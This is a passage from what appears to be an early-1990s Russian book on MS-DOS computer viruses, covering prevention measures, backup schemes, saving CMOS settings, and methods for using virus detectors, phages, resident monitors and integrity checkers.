заразить этот командный процессор тем же методом, что и стандарт-
ный COMMAND.COM, сравнительно невелики.
Вторым шагом является запись командного процессора на виртуаль-
ный диск и переназначение переменной COMSPEC. Для стандартного
COMMAND.COM это выполняется путем включения в качестве первых
строк AUTOEXEC.BAT двух следующих строк:
set comspec=e:\command.com
copy command.com e:
В приведенных строках предполагается, что логический диск E яв-
ляется виртуальным. Использование виртуального диска для хранения
командного процессора (в сочетании с заданием соответствующего
значения параметра COMSPEC) не только превращает его в своего рода
дрозофилу, заражение которой легко контролировать, а удаление ко-
торой с диска обеспечивается автоматически при перезагрузке MS
DOS, но и ускоряет работу с некоторыми оболочками (например,
Norton Commander). При этом целесообразно иметь специальную коман-
ду для периодического контролирования сравнения COMMAND.COM с эта-
лоном (автор использует для этой цели специальную клавишу в поль-
зовательском меню Norton Commander, вызываемом нажатием функцио-
нальной клавиши F2). В этом случае, если Вы во-время заметили из-
менение командного процессора, то не требуется выполнять его до-
полнительное удаление и замену - при перегрузке с эталонной дис-
кеты он будет удален автоматически и вы сможете начать поиск при-
чины заражения на заведомо чистой операционной системе.
10.2.4.2. Использование каталога BAT-файлов
Связывание длинной цепочки каталогов по PATH, создает очевидные
удобства при работе. В то же время такое решение имеет и два суще-
ственных недостатка. Во-первых, замедляется поиск запускаемой про-
граммы, а во-вторых, наличие соответствующей строки PATH создает
файловым вирусам идеальные условия для поиска исполняемых файлов.
Поэтому рекомендуется компромиссное решение: указывать в PATH
только каталоги, расположенные на защищенных от записи логических
дисках, а также корневой каталог и один дополнительный каталог с
BAT-файлами. В последний удобно занести файлы, указывающие путь
для исполняемой программы, расположенной на незащищенных от записи
логических дисках. При этом для каждой часто используемой програм-
мы удобно составить отдельный BAT-файл, в котором обычно удается
предусмотреть некоторые дополнительные удобства в виде установки
каких-то типовых режимов, сокращенного набора групп параметров и
другой сервис, уровень которого зависит от вашей собственной изо-
бретательности. Это существенно упрощает и ускоряет процесс рабо-
ты, поскольку типовые параметры набирать не приходится, время на
просмотр длинной цепочки каталогов при поиске программы не теряет-
ся. В то же время, такое решение повышает безопасность, не давая
вирусам легко и просто извлекать путь к жертвам из PATH. Автор
много лет проработал на ЕС ЭВМ, где использование библиотеки про-
цедур (SYS1.PROCLIB) было стандартной практикой, и был удивлен,
перейдя на персональные ЭВМ, что здесь этот прием не является
стандартным.
10.3. Архивирование
Инженер присел и отвернул кран,
чтобы смыть мыло. Кран захлебнулся
и стал медленно говорить что-то
неразборчивое. Вода не шла...
И.Ильф, Е.Петров
Пользователь компьютера, не имеющий свежего и надежного архива
содержимого своего винчестера, находится во власти случая. Этот
случай может подвернуться в виде срабатывания вируса, троянской
программы или в виде внезапного отключения электроэнергии или, на-
конец, в виде воды, которую забыли на ночь закрыть на верхнем эта-
же. Пользователь, хранящий в компьютере ценную информацию, должен
быть всегда настороже и как известный герой Ю.Семенова иметь от-
ходной вариант заранее. Единственным надежным методом защиты цен-
ной информации от превратностей судьбы является архивирование. При
наличии ежедневных копий максимум, что может сделать вирус, это
уничтожить результаты последнего дня вашей работы.
Состояние человека, который в одну секунду потерял содержимое
винчестера трудно описать словами. Только что машина работала, все
файлы были на месте. А сейчас информация, на создание которой бы-
ло потрачено столько труда, исчезла и резервной копии вообще нет.
Это настоящее крушение и по сравнению с ним ситуация, приведенная
в эпиграфе, у просто пустяк. И винить, кроме самого себя, в ней
некого. А ведь достаточно было потратить полчаса, чтобы все было
иначе. Но поздно.
Поэтому создание архива это далеко не та вещь, которую можно от-
ложить на потом. В сущности, это такая же часть работы пользовате-
ля, как программирование или ведение базы данных. Однако если по
вопросам программирования или базам данных написаны горы литерату-
ры, то по вопросам архивирования практически нет и каждый пользо-
ватель создает собственную систему. Часто этой системой является
отсутствие таковой. Ниже приводятся некоторые рекомендации, осно-
ванные на личном (и приобретенном достаточно дорогой ценой) опыте
автора.
10.3.1. Используйте программы резервирования FAT и главного каталога в AUTOEXEC.BAT
Посмотрите! Вот он без страховки идет
В.Высоцкий
Поскольку FAT и главный каталог являются наиболее уязвимыми уп-
равляющими блоками MS DOS необходимо предпринимать меры по их до-
полнительному резервированию. Такую возможность обеспечивает, в
частности, программа Image из версии 5 утилит П.Нортона, вызов ко-
торой следует вставить в AUTOEXEC.BAT. Наряду с Image можно ис-
пользовать более старую программу Mirror, входящую в пакет PC
Shell. Она записывает копии указанных секторов в конец винчестера.
Резервирование MBR, бутсектора, FAT и каталогов важно не только
в плане защиты от вирусов, но и как метод страховки на случай не-
предвиденного стечения обстоятельств или чьих-то (в том числе, и
собственных) действий. Периодически рекомендуется выгружать файлы,
создаваемые этими утилитами на специальную дискету из горячей ко-
робки (см. ниже). Это особенно важно, если при сжатии диска ути-
литой Norton Speed Disk задан режим перенесения всех каталогов в
начало логического диска.
10.3.2. Используйте систему неделя-месяц-год
Если имеется возможность, то желательно иметь несколько комплек-
тов дискет для архива винчестера и вести циклическую запись на эти
комплекты (например, для трех комплектов можно использовать клас-
сический принцип неделя-месяц-год). В этом случае различают
главный архив, в котором хранится полный объем используемой инфор-
мации и программного обеспечения, и текущие архивы, в которые за-
носятся только последние программные продукты и файлы. Текущих ар-
хивов может быть несколько, в зависимости от периодичности их об-
новления. Главный архив целесообразно обновлять примерно раз в ме-
сяц, а текущие архивы у по крайней мере раз в неделю и раз в неде-
лю.
Для создания главного архива рекомендуется использовать програм-
му FastBack Plus (версию 2.1 или более позднюю). Она позволяет вы-
грузить 20М винчестер на 35 дискет по 360K или 12 дискет по 1.2M
примерно за 20 мин. Следует отметить, что если на машине установ-
лен дисковод 1.2M, то использование дискет 360K для создания архи-
ва неоправданно. Рекомендуется использовать как минимум формат
730K. Однако по возможности используйте дискеты 1.2M, поскольку в
этом случае создание архива выполняется значительно проще и быст-
рее, чем на дискетах 730K. С учетом отсутствия на большинстве оте-
чественных машин стриммеров, рекомендуемый размер раздела винчес-
тера должен соответствовать определенному количеству коробок дис-
кет архива. Например, раздел 20M очень удобен при создании архива
на дискетах 1.2M, поскольку 12-14 дискет помещаются в одну коробку
и неудобен при создании архива на дискетах 730K (требуется пример-
но 18 дискет). После создания главного архива рекомендуется про-
вести оптимизацию винчестера, например, с помощью Norton Speed
Disk из 5 версии утилит Нортона.
Для создания недельного архива рекомендуется использовать архи-
ватор PKZIP. При этом каждый архив в главном каталоге диска реко-
мендуется сворачивать в отдельный ZIP файл. Если размер ZIP файла
на дискете превышает размер дискеты, то его можно разбить на от-
дельные фрагменты утилитами SPLITB (СП 2-6), а затем записать на
несколько дискет. При нехватке дискет в недельный архив следует
включать только каталоги, измененные за прошедшую неделю.
И, наконец, ежедневный архив включает все тексты, измененные за
рабочий день. Выключать компьютер, не сбросив измененные тексты на
дискету, не рекомендуется. Следует помнить, что винчестеры портят-
ся не только от вирусов. Вероятность того, что уйдя с работы се-
годня, завтра вы обнаружите, что информация на винчестере не чита-
ется, не равна нулю даже для самых лучших винчестеров, а тем более
для наиболее дешевых моделей, попадающих в нашу страну.
Если какой-то каталог на винчестере используется лишь эпизоди-
чески или только определенным пользователем, то после каждого ис-
пользования желательно все программы в нем сворачивать архиватором
типа PKARC, поскольку заразить программу, находящуюся в архиве,
практически невозможно.
Очень часто процесс архивирования сводят к выгрузке с винчестера
всех файлов. На самом деле архивированию подлежат и системные бло-
ки, в частности MBR и бутсектор. Последние следует cкопировать на
дискету с помощью программы DiskTool 5 версии утилит П.Нортона.
Кроме того, следует копировать на дискету FAT и главный каталог с
помощью утилиты Mirror из PC Shell или Image из 5 версии утилит
П.Нортона. Эту операцию следует выполнять не реже одного раза в
неделю, а если предполагается использование каких-то новых про-
грамм, то при загрузке ЭВМ. Как и архиваторы, программы резервиро-
вания FAT и каталогов важны не только в плане защиты от вирусов,
но и как метод страховки на случай непредвиденного стечения обсто-
ятельств или чьих-то (в том числе, и собственных) действий. В осо-
бенности они важны для программистов, работающих на ассемблере,
которые при отладке часто находятся буквально в шаге от разрушения
файловой системы.
Поскольку дискеты являются в наших условиях дефицитом, то при
архивировании информации ее целесообразно сжимать архиватором. Для
дискет DS/DD наиболее подходящим форматом для записи архивов по-
видимому является формат 800K, который достаточно надежен и позво-
ляет вдвое уменьшить количество используемых дискет. Наиболее
удобными архиваторами являются FASTBACK PLUS, PKZIP и LHARC.
В условиях дефицита дискет при использовании PKZIP и LHARC воз-
никает дополнительная проблема оптимальной комбинации архивов на
дискетах, чтобы более полно использовать емкость каждой дискеты.
Для этой цели можно дополнительно упаковывать полученные архивы
утилитой BACKUP MS DOS или более удобной и имеющей графический ин-
терфейс утилитой PC-BACKUP из пакета PC SHELL (рекомендуется ис-
пользовать версии, начиная с 5.5). Если дискет не хватает для соз-
дания полной копии винчестера, то следует исключить из архивирова-
ния прежде всего большие пакеты (трансляторы, операционная система
и т.д.), для которых имеются дистрибутивные копии.
10.3.3. В защиту бумажной технологии
То, что вы храните достаточно
долго, можно выбросить. Как
только Вы что-то выбросите,
оно Вам понадобится
Из законов Мерфи
Наряду с архивом на дискетах, следует вести часть архива на бу-
маге. Несмотря на отдельные заявления о наступлении эры безбумаж-
ной технологии, роль этого старого доброго способа хранения ин-
формации сохраняется. Бумага все еще остается дешевым, надежным и
удобным методом долговременного хранения информации, существенно
превосходя по надежности магнитные носители, а по удобству анализа
некоторых видов информации (например, дампов) - просмотр файлов на
дисплее. Кроме того, наличие рабочего журнала является одним из
показателей уровня квалификации программиста. Систематическое ве-
дение журнала позволяет быстрее и полнее осваивать новые системы и
избегать уже допущенных ранее ошибок.
Необходимо систематически подшивать в специальную папку копии
оглавлений, последние копии AUTOEXEC.BAT, CONFIG.SYS, список сбой-
ных секторов винчестера (если таковые имеются), распечатки всех
оглавлений диска, дампы бутсектора и FAT, замечания по работе ма-
шины, а также протоколы работы программы-ревизора. Кроме того,
справочник по архиву дискет также целесообразно иметь в распеча-
танном виде, поскольку если с машиной что-то случится, считать его
с винчестера может оказаться достаточно трудной задачей. Полезно,
хотя и несколько трудоемко, вести отдельный архив распечаток ис-
ходных текстов разрабатываемых программ, в который подшивать все
распечатки версий программ и другую аналогичную информацию. Нали-
чие такого архива создает ряд удобств и является дополнительной
гарантией сохранности информации.
10.3.4. Запомните параметры, хранящиеся в СMOS-памяти, пока еще не поздно
Столб дыма уносит новости богу...
Теофиль Готье
Получив машину типа AT, сразу же запишите параметры CMOS, уста-
новленные с помощью процедуры SETUP. Для этого достаточно нажать
комбинацию клавиш Ctrl-Alt-Esc. При этом на экран выдается таблица
параметров, записанных в CMOS-памяти, из которых наиболее важным
является тип установленного винчестера. Эта таблица невелика и ее
содержимое легко переписать на обычную самоклеящуюся этикетку для
дискеты, которую необходимо сразу же прикрепить к лицевой стороне
корпуса компьютера. После этого обязательно распечатайте содержи-
мое CMOS на принтере. Это проще всего сделать с помощью утилиты
SYSINFO, из версии 5 утилит П.Нортона. Один экземпляр распечатки
рекомендуется наклеить на папку с планом восстановления винчестера
(см. ниже), а другой у на последнюю страницу инструкции к данной
ЭВМ. Кроме того необходимо записать содержимое CMOS в файл с по-
мощью программы DiskTool из 5 версии утилит П.Нортона, СMOSER (СП
9-90) или SAVECMOS А.Водяника (СП 2-3). Для некоторых типов BIOS
содержимое отдельных байтов CMOS не выдается на экран, однако важ-
но для правильной работы машины.
Эти меры связаны с тем, что рано или поздно элемент, обеспечива-
ющий питание CMOS-памяти, выйдет из строя. Кроме того, известно
неcколько троянских программ, которые при запуске портят CMOS.
Иногда содержимое CMOS уничтожается из-за ошибки в нормальной
программе. Хотя элемент питания рассчитан на несколько лет, опыт
показывает, что средняя продолжительность жизни CMOS обычно не
превышает нескольких месяцев. Если содержимое CMOS потеряно, то
при отсутствии точных данных о типе установленного винчестера воз-
никает ряд очень неприятных проблем, когда значение некоторых па-
раметров приходится устанавливать экспериментально. Это особенно
трудно, когда на машине установлен нестандартный (например, трех-
дюймовый) винчестер.
10.3.5. Переписывая программы, различайте эталонную и рабочую копию
Дистрибутивные эталонные версии рекомендуется хранить отдельно в
архивированном виде. Если дисковод обеспечивает формат 720К, то на
одну дискету обычно входит три архивных образа 360К дискет. Но-
вая версия архиватора PKARC (PKZIP) позволяет рекурсивно сворачи-
вать подкаталоги, тем самым делая рассматриваемый вид хранения бо-
лее привлекательным. При работе с Norton Commander рекомендуется
определить для файлов с расширениями ZIP, ARC, и LZH вызов архива-
тора в режиме выдачи на экран справки с архива или вызов диалого-
вой оболочки для соответствующего архиватора (SHEZ, NARC и др.).
Передавая программы, копируйте дистрибутивные, а не рабочие
копии. В нынешних условиях это долг вежливости по отношению к то-
му, кому переписывается программное обеспечение. Храните справки с
дистрибутивной копии для сравнения.
Переписывая программы, старайтесь копировать дистрибутивные вер-
сии, а не рабочие копии, хранящиеся на винчестере. Обязательно от-
печатайте справку с архива с контрольными суммами.
Очень полезно вести каталог используемых программ на dBase или
какой-то аналогичной системе. За счет более точной информации о
состоянии архива можно значительно уменьшить объем еженедельного
архивирования и, тем самым, сэкономить время и силы.
10.4. Методика применения средств защиты
Методика применения средств защиты предполагает их наличие и же-
лание ими пользоваться. К сожалению, часто можно констатировать
отсутствие как первого, так и второго из этих условий. Спектр от-
ношения пользователей к антивирусным программам колеблется от пол-
ного равнодушия до страстного коллекционирования. Однако наличие
антивирусных программ является только необходимым условием. Важно
не только иметь последние версии антивирусных программ, но и сис-
тематически ими пользоваться. К новым антивирусным средствам, по-
лученным обычным путем следует относиться с такой же осторож-
ностью, как и ко всем остальным программам. Антивирусные средства,
не снабженные средствами самоконтроля целостности, могут оказаться
зараженными. Кроме того, изредка встречаются троянские версии ан-
тивирусных средств. Ранее уже упоминались троянские версии сторожа
FluShot и полифага Aidstest.
10.4.1. Типичные ошибки
Как уже указывалось, самой грубой и распространенной ошибкой при
использовании персональных компьютеров является отсутствие надле-
жащей системы архивирования информации. Никакие средства защиты
не заменят надлежащей организации ведения архивов. Другой грубой
ошибкой является запуск полученной программы без ее предваритель-
ного анализа на зараженность и без установки максимального режима
защиты винчестера с помощью ADM и запуска резидентного сторожа.
Запуск программы является в современных условиях далеко небезопас-
ной операцией и рисковать содержимым винчестера из-за чрезмерного
любопытства, наверное, не стоит. Следует также обратить внимание
на ситуацию, характерную для школ и вузов. Поскольку у студентов
обычно мало дискет, то им приходится запускать отдельные программы
(например, игровые) с дискет своих товарищей. Эта ситуация особен-
но характерна для вузовских залов персональных ЭВМ. При этом мо-
жет произойти заражение одной из программ или бутсектора, если со-
ответствующий компьютер оказался зараженным. Поэтому следует всег-
да защищать дискеты от записи, если они используются для считыва-
ния программ на нескольких компьютерах. Снимать защиту от записи
стоит только на время, необходимое для обновления содержимого дис-
кеты. Новые программы по возможности следует записывать на новые
дискеты, не смешивая их сразу со старыми, проверенными программа-
ми.
При неправильном или неумелом использовании антивирусные про-
граммы могут сами в ряде случаев становиться источником проблем.
Имеется несколько типичных ошибок при применении антивирусных
средств. Наиболее распространенной из них является запуск антиви-
русных программ (чаще всего, фагов) на зараженном резидентным ви-
русом компьютере. Конечно, сейчас создатели большинства качествен-
ных антивирусных средств предусматривают такую возможность и ана-
лизируют память компьютера перед началом работы, однако такая ме-
тодика эффективна, в основном, против уже известных вирусов и мо-
жет не сработать на каком-то новом. Поэтому следует особо подчерк-
нуть основной гигиенический принцип компьютерной вирусологии:
ВСЕ ДЕЙСТВИЯ ПО ИССЛЕДОВАНИЮ ПОДОЗРИТЕЛЬНОГО ИЛИ ЗАРАЖЕННОГО
КОМПЬЮТЕРА СЛЕДУЕТ ВЫПОЛНЯТЬ ТОЛЬКО НА ПРЕДВАРИТЕЛЬНО
ЗАГРУЖЕННОЙ С ЗАЩИЩЕННОЙ ОТ ЗАПИСИ ЭТАЛОННОЙ ОПЕРАЦИОННОЙ
СИСТЕМЫ И ИСПОЛЬЗУЯ ТОЛЬКО ПРОГРАММЫ, ХРАНЯЩИЕСЯ НА ЗАЩИЩЕННЫХ
ОТ ЗАПИСИ ДИСКЕТАХ.
Выполнение действий по анализу и восстановлению на зараженной
операционной системе является грубой ошибкой и может иметь катаст-
рофические последствия. В частности, при этом могут быть заражены
остальные, еще незараженные, программы. Например, при резидентном
вирусе RCE-1800 (Dark Avenger) запуск фага, не рассчитанного на
данный вирус, приведет к заражению всех проверявшихся фагом загру-
зочных модулей, поскольку вирус RCE-1800 перехватывает прерывание
по открытию и чтению файлов и при работе фага будет заражать каж-
дый проверяемый фагом файл.
Второй типичной ошибкой является выполнение перезагрузки системы
при наличии защелкнутой дискеты в дисководе А. При этом BIOS де-
лает попытку загрузиться именно с этой дискеты, а не с винчестера
и, в результате, если дискета заражена бутовым вирусом, происходит
заражение винчестера.
Третьей распространенной ошибкой является запуск батареи фа-
гов. Очевидно, что прогон десяти фагов, предназначенных для вируса
С-648, не излечит ни одного файла, зараженного, скажем, вирусом
RСЕ-2890. В данном случае следует придерживаться принципа лучше
меньше, да лучше и запускать средства защиты, предварительно
определив, хотя бы ориентировочно, с каким типом вируса пришлось
столкнуться. Обычно для определения типа вируса достаточно запус-
тить батарею полидетекторов (которая может включать и фаги, на-
строенные на режим детектирования), а затем просмотреть дамп (с
помощью PCTools или Norton Utilities) одной или нескольких зара-
женных программ.
Четвертой типичной ошибкой является чрезмерная доверчивость к
разработчикам антивирусных средств. Хотя разработкой антивирусных
средств обычно занимаются высококвалифицированные программисты, не
следует думать, что созданные ими программы безупречны. Как и вся-
кие программы, они содержат ошибки, причем ситуация усугубляется
тем, что те их части, которые относятся к самым новым вирусам и
тем самым представляют наибольшую ценность, часто бывают написаны
наспех, в условиях острейшего дефицита времени. Поэтому следует
считать, что на вашей системе выполняется отладка этих новых час-
тей, которая как и всякая отладка, может иметь негативные послед-
ствия как для отдельных файлов, так и для файловой системы в це-
лом. Если у вас нет свежего архива, то запуск любой антивирусной
программы на всю файловую систему становится потенциально опасной
операцией. Это относится прежде всего к фагам, выполняющим хирур-
гическое вмешательство в программы. Известны случаи, когда фаг
принимал один вирус за другой и все вылеченные программы оказы-
вались неработоспособными.
10.4.2. Методика применения детекторов
Детекторы, рассчитанные на конкретные вирусы, также можно рас-
сматривать как специализированные программы-ревизоры, однако каче-
ство обеспечиваемого ими анализа вызывает сомнения и они должны
контролироваться другими методами, в частности, с помощью глобаль-
ного контекстного поиска. Следует отметить, что наиболее удобны
детекторы, обнаруживающие не один, а целый ряд распространенных
вирусов (полидетекторы). Имеется два основных типа полидетекторов:
с фиксированным набором сигнатур и переменным набором.
Детекторы с фиксированным набором сигнатур, в общем случае, эф-
фективнее полидетекторов с переменным набором. Обычно такие детек-
торы являются составной частью полифага. Однако имеется и чистый
полидетектор у SCAN. Текущая (на момент написания данной работы)
версия полидетектора SCAN детектирует более двухсот вирусов и их
разновидностей (имеется и резидентная версия, проверяющая файлы
при загрузке - SCANRES). Качество детектирования у невысокое (име-
ется много ложных срабатываний). Большинство используемых данным
полидетектором сигнатур приведено в прил.1 и 2.
Среди полидетекторов, входящих в полифаги, следует отметить де-
тектор, встроенный в полифаг TNTVIRUS. В отличие от полифага, яв-
ляющегося коммерческим продуктом, полидетектор входит в распрост-
раняемую бесплатно демонстрационную версию. Эта громоздкая (более
100К) программа имеет неплохой турбоинтерфейс и детектирует, по
данным его авторов (впрочем, вызывающих сомнения) более ста ви-
русов. Качество детектирования следует оценить как весьма среднее
(в большинстве случаев используется обычный контекстный поиск).
Многие из используемых сигнатур приведены в прил.1 и 2. За исклю-
чением интерфейса и количества сигнатур данный полидетектор усту-
пает аналогичным отечественным программам по количеству ложных
срабатываний и качеству распознавания наиболее распространенных в
нашей стране вирусов. Из полидетекторов, встроенных в отечествен-
ные полифаги наиболее интересен режим детектирования, обеспечивае-
мый полифагом Kxx Е.Н.Сусликова и полифагом AV И.Сысоева. Послед-
ний обнаруживает порядка 40 вирусов, являясь при этом самой ма-
ленькой (менее 20К) и быстрой программой такого рода. Как уже
указывалось, программы этого типа представляют наибольший интерес
как средство входного контроля нового программного обеспечения, в
особенности, поступающего без контрольных сумм.
Второй тип полидетекторов более интересен, поскольку фактически
представляет собой системные программы общего применения, которые
можно использовать не только для поиска вирусов, но и во всех
случаях, когда нужно найти все файлы, содержащие хотя бы одну из
заданной группы текстовых строк (ключевых слов). Набор строк для
поиска обычно задается в виде специального файла. Этот тип полиде-
текторов наиболее полезен при обнаружении какого-то нового, еще
неизвестного, вируса. Первое, что нужно сделать в этом случае -
это определить сигнатуру для поиска. Надежнее всего использовать
для этой цели трассировку зараженной программы с помощью отладчи-
ка. Определив сигнатуру, можно быстро выявить все зараженные про-
граммы, и тем самым, прекратить дальнейшее размножение вируса.
Имеется ряд программ этого типа (VL, VIRSCAN, NEADET). Например,
программа VL (прил.5) обеспечивает поиск в поддереве или файле до
50 строк длиной до 15 символов. Строки задаются пользователем в
текстовом или 16-ричном формате. Дамп программы, в которой найдена
строка, можно просмотреть на экране. Программа NEADET, написанная
И.В.Суворовым, позволяет использовать в качестве входных данных
приведенные в прил.1-4 таблицы и специальный алгоритм быстрого по-
иска строк. Дамп программы, в которой найдена строка, можно про-
смотреть на экране.
10.4.2.1. Использование Norton Utilities и PCTools
как универсальных детекторов вирусов
Как уже указывалось, обеспечиваемая PCTools и Norton Utilities
возможность выполнения контекстного поиска как по отдельным фай-
лам, так и по диску в целом, является полезным и надежным инстру-
ментом выявления зараженных файлов. В особенности полезна возмож-
ность выполнения глобального контекстного поиска по диску в целом.
При правильном выборе строки для контекстного поиска этот способ
является хотя и довольно медленным, но исключительно надежным ме-
тодом определения всех зараженных вирусом файлов. Следует отме-
тить, что Norton Utilities выполняет контекстный поиск примерно
вдвое быстрее, чем PCTools.
10.4.2.2. Поиск текстовых сигнатур
При поиске Т-сигнатур бывает полезна программа TS из версии 4.5
пакета утилит П.Нортона. Она позволяет искать заданный текст в
файле или по всему диску, например:
TS C:\*.COM vacsina /S /LOG
TS C:\*.EXE eddie /S /LOG
В программе можно использовать ряд ключей:
/LOG - печатать или выводить результаты в файл;
/S - просматривать также и подкаталоги;
/T - выводить только окончательные результаты;
/D - искать по всему диску (отменяет /S);
/E - искать по стертым файлам;
/CS - различать малые и большие буквы.
10.4.3. Методика применения фагов
Следует отметить, что программы-фаги, обеспечивающие возможность
восстановления исходного состояния программы, зараженной вирусом,
хотя и являются наиболее популярным типом антивирусных программ,
не являются основным средством защиты от вирусов. Наблюдаемое сей-
час повсеместная погоня за последними версиями фагов, не совсем
оправдана. Основные усилия должны быть направлены на предупрежде-
ние заражения (грамм профилактики стоит килограмма лекарств).
Отметим, что программы, которые мы для краткости называем фага-
ми, по сути представляют собой комбинацию типа детектор + фаг.
Поэтому при их работе возможны как ошибки, связанные с несовершен-
ством детектора, так и ошибки при выкусывании вируса из програм-
мы. Для фага неверное выкусывание вируса из зараженной программы
(больной умер на операционном столе) может быть обусловлено как
ложным срабатыванием детектора, так и недостаточным учетом возмож-
ных вариантов заражения программы. При этом фаг уничтожает работо-
способную программу (хотя с этим утверждением можно не соглашать-
ся, но по мнению автора зараженная программа все же лучше, чем ни-
какая). Поэтому, при применении фагов для файловых вирусов целесо-
образно разделять процесс диагностирования и процесс лечения.
Кроме того, распространяющиеся сейчас комплексные фаги на не-
сколько вирусов (полифаги) являются несколько менее удачной идеей,
чем полидетекторы, поскольку жесткая привязка фага к конкретному
встроенному детектору делает его заложником качества последне-
го, а отсутствие параметров настройки на вирус - чувствительным к
мутациям вируса, затрагивающим используемую сигнатуру. Единствен-
ным фагом, где была сделана попытка преодолеть этот недостаток,
является полифаг NEATFAG В.В.Пономаренко. В нем фаг на каждый ви-
рус выполнен в виде отдельного загружаемого модуля, что позволяет
добавлять модули, выкусывающие новые вирусы отдельно, без пере-
делки уже имеющейся части фага. Однако возможность замены или до-
бавления сигнатур в существующей версии NEATFAG отсутствует.
Процесс дезактивации рекомендуется разделить на ряд этапов c
тем, чтобы не повредить файловую систему во время ее выполнения.
Можно рекомендовать следующие этапы указанного процесса:
загрузиться с защищенной от записи дискеты, используя холодную
(кнопкой RESET или выключением питания), а не теплую (нажатием
клавиш CTRL-ALT-DEL) перезагрузку;
найти хотя бы одну зараженную программу с помощью батареи детек-
торов;
проверить правильность идентификации типа вируса, визуально про-
смотрев дамп зараженной программы;
составить список зараженных программ и распечатать этот список;
выгрузить зараженные программы на дискету и обработать их фагом;
проанализировать результаты выкусывания;
проверить работоспособность леченных программ и выгрузить их.
Если COMMAND.COM заражен, то используйте его размер и дамп для
определения типа вируса. Если нет, то поиск зараженной программы
можно выполнить разными способами, но обязательно перегрузившись с
защищенной дискеты. Если используется программа-ревизор и ведется
архив каталогов файловой системы, то целесообразно воспользоваться
им. Если нет, то проще всего использовать рекомендованную выше ба-
тарею полидетекторов (только перегрузившись с защищенной дискеты
!), с помощью которой возможно удастся определить зараженные или
хотя бы подозрительные файлы (некоторые детекторы используют для
этой цели эвристические приемы).
Составьте список зараженных программ с помощью детектора и про-
верьте его полноту глобальным контекстным поиском (см. ниже). Все
зараженные программы выгрузите на дискету, сделайте ее копию и
экспериментируйте только на ней. Если имеется возможность, то вы-
грузите из архива оригинальные копии программ на другую дискету
или на винчестер. После прогона фага опять распечатайте оглавле-
ние, сравните длины зараженного и вылеченного файлов и визуально
просмотрите дампы программ. Для тех программ, данные о длинах ко-
торых сохранились (например, в базе данных ревизора) или ориги-
нальные копии которых имеются в архиве, проверьте, правильно ли
восстановлена длина. Если такой возможности нет, то предварительно
проверьте работоспособность леченной программы, а только после
этого сгрузите ее обратно на винчестер. Помните, что фаг может за-
портить программу. И наконец, с помощью детектора и глобального
контекстного поиска проверьте полученные результаты: не осталось
ли на диске зараженных программ.
Следует отметить, что предложенные шаги в полном объеме необхо-
димы только при работе с новым, еще недостаточно изученным вирусом
или самодельным фагом (например, изготовленным по методике, опи-
санной во второй части данной работы). Для хорошо изученных виру-
сов, для которых существуют достаточно надежные и проверенные фа-
ги, большинство из этих шагов можно опустить.
10.4.4. Методика использования резидентных сторожей
Современные программы-сторожа СHECK21, -D1, -D2, -D3 и др. эф-
фективны против практически всех типов файловых вирусов. Другими
устаревшими, но все еще распространенными сторожами являются
MaceVaccine и ANTI4US2. Возможности этих программ уже не соответ-
ствуют уровню написания современных файловых вирусов, поэтому при-
менять их не рекомендуется. Использование сторожей обязательно при
первых запусках нового программного обеспечения, когда возможно не
только заражение вирусом, но и немедленное срабатывание троянской
компоненты.
Следует отметить, что непрерывные ответы на запросы, выдаваемые
сторожами, не только снижают эффективность работы, но и подрывают
саму обеспечиваемую ими защиту (это относится, прежде всего, к
устаревшим сторожам типа FluShot Plus, MaceVaccine, ANTI4US2).
Частая выдача запросов на разрешение тех или иных действий неиз-
бежно приводит к тому, что пользователь начинает отвечать на них
механически, тем самым сводя на нет обеспечиваемую ими степень за-
щиты. Современные сторожа должны иметь таблицу свойств програм-
мы, позволяющую блокировать выдачу запросов на разрешение тех или
иных операций от соответствующих программ. Например, если програм-
ма FORMAT пытается выполнять форматирование диска A, то запрос на
разрешение этого действия следует блокировать.
Степень обеспечиваемой сторожами защиты не стоит переоценивать.
Некоторые типы вирусов обходят сторожей, непосредственно обращаясь
к BIOS или используют сплайсинг для получения управления по преры-
ванию 21. Поэтому их применение должно сочетаться с применением
других средств защиты. Например, при использовании сторожей
VIRBLK, MaceVaccine, ANTI4US2, не контролирующих целостность сис-
темных файлов, в AUTOEXEC.BAT следует включить соответствующую
программу контроля (например, VACINE, СП 1-2).
Следует отметить, что сторожа могут интерферировать с резидент-
ными программами, а также вызывать срабатывание фагов, проверяющих
содержимое оперативной памяти. Последние часто принимают сторожа
за вирусы.
10.4.5. Методика использования ревизоров
Программы-ревизоры должны входить в арсенал каждого пользователя
и регулярно запускаться в каждом сеансе работы с ЭВМ. Существуют
два основных типа программ-ревизоров: пакетные (например, DLI) и
резидентные. Последние выполняют подсчет контрольных сумм на ле-
ту, т.е. при загрузке программ на выполнение. Несколько устарев-
ший сторож FluShot Plus очень полезен тем, что включает резидент-
ный ревизор, позволяющий на лету подсчитывать контрольную сумму
для загружаемых файлов. К сожалению, отдельного резидентного реви-
зора, обеспечивающего подсчет контрольной суммы на лету, перед
передачей файлу управления, пока нет.
Помимо специальных программ, в качестве ревизоров могут приме-
няться обычные программы сравнения файлов, например входящие в MS
DOS программы FC и COMP. Этот способ полезен для контроля целост-
ности наиболее важных файлов и предполагает наличие переименован-
ной и хорошо спрятанной эталонной копии, которую желательно раз-
мещать в защищенном от записи разделе винчестера.
Ревизоры являются единственным средством, позволяющим следить за
целостностью системных файлов и изменениями в используемых катало-
гах. Их использование особенно важно при работе на персональных
ЭВМ коллективного пользования, которые в СССР сейчас явно преоб-
ладают. В этих условиях важно, чтобы ревизор создавал файл, кото-
рый можно было бы записать на дискету или в собственный каталог, а
затем перед началом следующего сеанса работы, выявить произошедшие
изменения. Такое использование ревизоров должно сочетаться с то-
тальной проверкой целостности файлов, которую целесообразно про-
водить централизованно, не реже одного раза в день (например, при
включении ЭВМ), причем протоколы проверки целесообразно периоди-
чески печатать и сохранять в специальной папке.
Следует отметить, что получаемая с помощью ревизоров информация
существенно облегчает ориентировку в лабиринте каталогов и ново-
введениях среди трансляторов и используемых утилит. Поэтому их
нельзя рассматривать только в контексте защиты от вирусов - в на-
стоящее время они должны являться рабочим инструментом каждого
уважающего свой труд программиста.
10.4.6. Вакцинирование
Притворяясь, будто мы попали в расставленную
нам ловушку, мы проявляем поистине утонченную
хитрость, потому что обмануть человека легче
всего тогда, когда он хочет обмануть нас.
Франсуа де Ларошфуко
Как известно, вакцинирование домашних животных и человека, от-
крытое Л.Пастером, является одним из фундаментальных открытий 20
века. Учитывая аналогию между компьютерными и биологическими виру-
сами, следовало бы ожидать соответствующей эффективности киберне-
тических вакцин, которые изменяют среду функционирования вируса
таким образом, что он теряет способность к размножению. Однако на
